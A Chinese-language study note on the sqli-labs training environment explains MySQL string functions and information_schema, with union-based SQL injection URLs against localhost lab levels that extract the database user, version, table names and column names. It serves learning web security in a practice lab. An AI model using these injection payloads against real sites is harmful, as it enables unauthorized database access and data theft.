Sqli-labs--学习笔记

本文介绍了SQL注入中的常用函数,如concat和concat_ws用于连接字符串,user、database和version函数获取数据库信息。同时讲解了如何利用information_schema查询数据库、表及列的信息,并提供了具体的SQL语句示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

数据库的连接函数:concat和concat_ws;
concat_ws的第一个参数是连接字符串的分隔符。
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,2,concat_ws(char(32,58,32),user(),database(),version())%23

系统数据库information_schema,记录当前数据库的数据库,表,列,用户权限等信息

SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES:储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。

COLUMNS:存储mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。

查询information_schema中的信息时,使用where语句值不能直接使用英文,要用单引号包裹着,十六进制也可以。

union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1%23
查看表的字段
union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479
查看表

group_concat()函数
完整语法如下

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
这个的意思应该就是将字段拼合在一起吧。
示例:http://127.0.0.1/sqli-labs/Less-2/?id=0%20union%20select%201,2,group_concat(char(32),table_name,char(32))%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479#
在sqli-labs第二关,将它们的表都爆了出来。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值